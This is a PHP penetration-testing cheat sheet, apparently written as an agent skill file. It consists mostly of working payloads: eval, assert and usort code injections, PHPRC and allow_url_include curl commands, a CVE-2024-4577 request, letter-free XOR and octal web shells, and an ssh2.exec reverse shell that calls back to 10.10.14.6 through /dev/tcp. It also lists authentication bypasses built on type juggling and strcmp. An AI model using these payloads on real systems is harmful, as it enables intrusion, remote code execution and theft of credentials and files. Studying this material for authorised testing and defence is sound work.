PHP Pentesting Skill
A comprehensive guide for testing and exploiting PHP applications.
Quick Reference
Common Cookie/Session Locations
/var/lib/php/sessions
/var/lib/php5/
/tmp/
# Example path traversal: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
Common cookie names:
PHPSESSIDphpMyAdmin
Type Juggling Attacks
Loose Comparison Bypasses (==)
PHP's loose comparison (==) can be exploited:
| Pattern | Result | Exploit |
|---|---|---|
"string" == 0 |
True | Non-numeric strings equal 0 |
"0xAAAA" == "43690" |
True | Hex strings compare as numbers |
"0e3264578" == 0 |
True | "0e" prefix = scientific notation |
"0X3264578" == 0X |
True | "0" + letter = 0 |
"0e12334" == "0" |
True | Hash collision bypass |
"X" == 0 |
True | Any letter = 0 |
Use case: Bypass password/hash comparisons in authentication.
in_array() Type Juggling
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values)); // True (loose)
var_dump(in_array(0, $values, true)); // False (strict)
Exploit: Send 0 to bypass array checks unless strict mode is enabled.
strcmp()/strcasecmp() Bypass
// Send empty array instead of string
https://example.com/login.php/?username=admin&password[]=
Exploit: !strcmp(array(), "real_pwd") returns true.
preg_match() Bypasses
New Line Bypass
// Input with newline bypasses ^.*pattern checks
$myinput="aaaaaaa
11111111";
echo preg_match("/^.*1/",$myinput); // 0 (doesn't match)
Payload: URL-encode newlines as %0A or use multi-line JSON.
ReDoS Bypass
# 500k+ characters causes 1M backtracking steps
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
Exploit: Exhaust PCRE recursion limit (default 100,000) to crash regex engine.
Remote Code Execution (RCE) Techniques
Via eval()
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo()+'
<?php phpinfo(); ?>
Via assert()
// Break syntax, inject payload, fix syntax
?page=a','NeVeR') === false and system('ls') and strpos('a
// Alternative: append code execution
'.highlight_file('.passwd')+'
Note: Use and or && - or and || won't work if first condition is true.
Via usort()
// Close brackets and inject code
VALUE: );phpinfo();#
// Inside function
VALUE: );}[PHP CODE];#
// Discover bracket count:
?order=id;}// // Parse error - missing brackets
?order=id);}// // Warning - correct
?order=id));}// // Parse error - too many
Via preg_replace() (PHP < 5.5)
preg_replace("/a/e", "phpinfo()", "whatever")
Note: Deprecated in PHP 5.5+, but still exploitable in legacy systems.
Via .htaccess
# Upload .htaccess to configure file execution
# Shells available: https://github.com/wireghoul/htshells
Via Environment Variables
PHPRC Exploitation
# Upload shellcode file
# Upload config with auto_prepend_file
# Set PHPRC to config file
# Without file upload (FreeBSD):
curl "http://target/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
# With allow_url_include:
curl "http://target/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
Via ssh2.exec Stream Wrapper
GET /download.php?id=54&show=true&format=ssh2.exec://user:pass@127.0.0.1:22/ping%2010.10.14.6%20-c%201#
# Reverse shell:
format=ssh2.exec://user:pass@127.0.0.1:22/bash%20-c%20'bash%20-i%20>&%20/dev/tcp/10.10.14.6/443%200>&1'#
Requirements: ssh2 extension installed, credentials available.
XAMPP CGI RCE (CVE-2024-4577)
POST /test.php?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded
<?php phpinfo(); ?>
WAF Bypass Techniques
Execute PHP Without Letters
Octal Encoding
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; # system(cat .passwd)
XOR Encoding
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); # show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); # .passwd
$_($__);
XOR Easy Shell
$_="`{{{"^"?<>/"; // $_ = '_GET'
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
Usage:
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
HTTP Header Bypass
Cause Error After Headers
// Send 1000+ GET/POST params or 20+ files
// PHP won't set headers, bypassing CSP
Fill Body Before Headers
// Trigger large error output before header() call
// Server can't modify headers after output starts
Password Hash Bypass
Bcrypt 72-Byte Limit
// PASSWORD_BCRYPT truncates to 72 bytes
$cont=72;
echo password_verify(str_repeat("a",$cont),
password_hash(str_repeat("a",$cont)."b", PASSWORD_BCRYPT));
// Returns True - "b" is ignored
Variable Variables
$x = 'Da';
$$x = 'Drums';
// All output "Drums":
echo $$x; // Drums
echo $Da; // Drums
echo "${Da}"; // Drums
Common PHP Functions to Audit
// Code execution:
exec, shell_exec, system, passthru, eval, popen
// File operations:
unserialize, include, file_put_contents
// User input:
$_COOKIE, $_GET, $_POST, $_REQUEST
Debugging & Analysis
Enable Error Display
# Edit /etc/php5/apache2/php.ini
display_errors = On
# Restart Apache
sudo systemctl restart apache2
Deobfuscate PHP Code
- Use: http://www.unphp.net
Check for Xdebug RCE
// If Xdebug enabled in phpinfo(), try:
https://github.com/nqxcode/xdebug-exploit
Session Cookie Tricks
Cross-Path Cookie Sharing
// Same domain cookies stored together
// Path1 sets cookie, Path2 reads it
// If both use same variable name, values transfer
register_globals (PHP < 4.1.1.1)
// If enabled: $_GET["param"]="1234" becomes $param
// Can overwrite internal variables via HTTP params
register_argc_argv Bypass
// If enabled: query params populate $_SERVER['argv']
// Bypass CLI checks: ?--configPath=/lalala
// Makes web request appear as CLI execution
Next Steps
- Run the type juggling test script to verify loose comparison vulnerabilities
- Use the payload generator for common RCE techniques
- Check PHP wrappers for file inclusion attacks
- Analyze error messages for information disclosure
- Test authentication bypasses with type juggling
References
- PHP Comparison Tables: https://www.php.net/manual/en/types.comparisons.php
- Type Juggling Vulnerabilities: https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09
- Hash Collisions: https://github.com/spaze/hashes
- Xdebug Exploit: https://github.com/nqxcode/xdebug-exploit
- HT Shells: https://github.com/wireghoul/htshells